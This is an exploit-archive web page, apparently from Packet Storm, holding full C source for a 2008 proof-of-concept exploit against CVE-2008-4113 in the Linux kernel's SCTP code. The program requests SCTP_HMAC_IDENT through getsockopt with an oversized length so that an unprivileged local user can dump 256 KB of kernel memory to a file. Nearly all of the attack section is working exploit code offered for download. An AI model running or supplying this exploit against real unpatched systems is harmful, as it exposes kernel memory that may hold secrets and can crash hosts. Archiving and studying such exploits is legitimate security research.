what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel SCTP Kernel Memory Disclosure Exploit

Linux Kernel SCTP Kernel Memory Disclosure Exploit
Posted Dec 31, 2008
Authored by Jon Oberheide

Linux Kernel versions below 2.6.26.4 SCTP kernel memory disclosure exploit.

tags | exploit, kernel
systems | linux
advisories | CVE-2008-4113
SHA-256 | 7e0bf7e87eb0ba0da140e07ab53740c3709083af939cf0f1e2a5c0226a2ac6db

Linux Kernel SCTP Kernel Memory Disclosure Exploit

Change Mirror Download
/*
* cve-2008-4113.c
*
* Linux Kernel < 2.6.26.4 SCTP kernel memory disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113
*
* The sctp_getsockopt_hmac_ident function in net/sctp/socket.c in the Stream
* Control Transmission Protocol (sctp) implementation in the Linux kernel
* before 2.6.26.4, when the SCTP-AUTH extension is enabled, relies on an
* untrusted length value to limit copying of data from kernel memory, which
* allows local users to obtain sensitive information via a crafted
* SCTP_HMAC_IDENT IOCTL request involving the sctp_getsockopt function.
*
* Notes:
*
* If SCTP AUTH is enabled (net.sctp.auth_enable = 1), this exploit allow an
* unprivileged user to dump an arbitrary amount (DUMP_SIZE) of kernel memory
* out to a file (DUMP_FILE). If SCTP AUTH is not enabled, the exploit will
* trigger a kernel OOPS.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>

#ifndef SCTP_HMAC_IDENT
#define SCTP_HMAC_IDENT 22
#endif

#define DUMP_SIZE 256*1024
#define DUMP_FILE "mem.dump"

int
main(int argc, char **argv)
{
int ret, sock;
FILE *dumpfile;
char *memdump, *err;
socklen_t memlen = DUMP_SIZE;

memdump = malloc(DUMP_SIZE);
if (!memdump) {
err = "malloc(3) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
memset(memdump, 0, DUMP_SIZE);

printf("[+] creating IPPROTO_SCTP socket\n");

sock = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock == -1) {
err = "socket(2) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}

printf("[+] getting socket option SCTP_HMAC_IDENT with length of %d\n", memlen);

ret = getsockopt(sock, SOL_SCTP, SCTP_HMAC_IDENT, memdump, &memlen);
if (ret == -1) {
err = "getsockopt(2) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}

printf("[+] dumping %d bytes of kernel memory to %s\n", memlen, DUMP_FILE);

dumpfile = fopen(DUMP_FILE, "wb");
if (!dumpfile) {
err = "fopen(3) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
fwrite(memdump, 1, memlen, dumpfile);
fclose(dumpfile);

printf("[+] done.\n");

return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close